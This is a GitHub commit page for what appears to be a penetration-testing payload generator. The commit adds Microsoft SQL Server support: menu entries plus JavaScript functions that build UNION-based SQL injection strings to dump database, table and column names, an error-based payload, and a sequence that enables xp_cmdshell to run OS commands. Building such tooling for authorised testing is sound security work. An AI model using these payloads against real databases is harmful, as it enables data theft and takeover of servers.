Skip to content

Commit

Permalink
Add MSSQL Support
Browse files Browse the repository at this point in the history
  • Loading branch information
lebr0nli authored and 0140454 committed Sep 7, 2024
1 parent 75d9129 commit 8ddd5e8
Show file tree
Hide file tree
Showing 2 changed files with 117 additions and 0 deletions.
38 changes: 38 additions & 0 deletions src/components/MenuSqli.vue
Original file line number Diff line number Diff line change
Expand Up @@ -123,6 +123,44 @@
/>
</VList>
</VMenu>
<VMenu location="end" open-on-hover>
<template #activator="{ props }">
<VListItem
:append-icon="mdiChevronRight"
title="Microsoft SQL Server"
v-bind="props"
@click.stop
/>
</template>
<VList>
<VListItem
title="Dump all database names"
@click="openSqlInjectionPrompt('Payload.SQLi.MSSQL.dumpDatabases')"
/>
<VListItem
title="Dump tables from database"
@click="openSqlInjectionPrompt('Payload.SQLi.MSSQL.dumpTables')"
/>
<VListItem
title="Dump columns from database"
@click="openSqlInjectionPrompt('Payload.SQLi.MSSQL.dumpColumns')"
/>
<VListItem
title="Union select statement"
@click="
openSqlInjectionPrompt('Payload.SQLi.MSSQL.unionSelect', false)
"
/>
<VListItem
title="Error-based injection statement"
@click="applyFunction('Payload.SQLi.MSSQL.errorBased', true)"
/>
<VListItem
title="Command execution statement"
@click="applyFunction('Payload.SQLi.MSSQL.cmdExec', true)"
/>
</VList>
</VMenu>
<VListItem
title="Polyglot"
@click="applyFunction('Payload.SQLi.polyglot', true)"
Expand Down
79 changes: 79 additions & 0 deletions src/generators/payload.js
Original file line number Diff line number Diff line change
Expand Up @@ -232,6 +232,85 @@ window.Payload.SQLi = {
)
},
},
MSSQL: {
unionSelect: ({ columns }) => {
columns = parseInt(columns)
if (isNaN(columns) === true) {
return ''
}

return 'union select ' + Array(columns).fill('null').join(',')
},

dumpDatabases: ({ columns, position }) => {
columns = parseInt(columns)
position = parseInt(position)
if (
isNaN(columns) === true ||
isNaN(position) === true ||
position > columns
) {
return ''
}

const fields = Array(columns).fill('null')
fields[position - 1] = "string_agg(name, ',')"

return 'union select ' + fields.join(',') + ' from sysdatabases'
},

dumpTables: ({ columns, position }) => {
columns = parseInt(columns)
position = parseInt(position)
if (
isNaN(columns) === true ||
isNaN(position) === true ||
position > columns
) {
return ''
}

const fields = Array(columns).fill('null')
fields[position - 1] = "string_agg(name, ',')"

return (
'union select ' +
fields.join(',') +
" from DB_NAME..sysobjects where xtype='u'"
)
},

dumpColumns: ({ columns, position }) => {
columns = parseInt(columns)
position = parseInt(position)
if (isNaN(columns) === true || isNaN(position) === true) {
return ''
}

const fields = Array(columns).fill('null')
fields[position - 1] = "string_agg(name, ',')"

return (
'union select ' +
fields.join(',') +
" from DB_NAME..syscolumns where id in (select id from DB_NAME..sysobjects where xtype='u' and name='TABLE_NAME')"
)
},

errorBased: () => {
return 'user_name(@@version)'
},

cmdExec: () => {
return [
'exec sp_configure "show advanced options", 1;',
'reconfigure;',
'exec sp_configure "xp_cmdshell", 1;',
'reconfigure;',
'exec xp_cmdshell "whoami";',
].join(' ')
},
},
}

window.Payload.XSS = {
Expand Down

0 comments on commit 8ddd5e8

Please sign in to comment.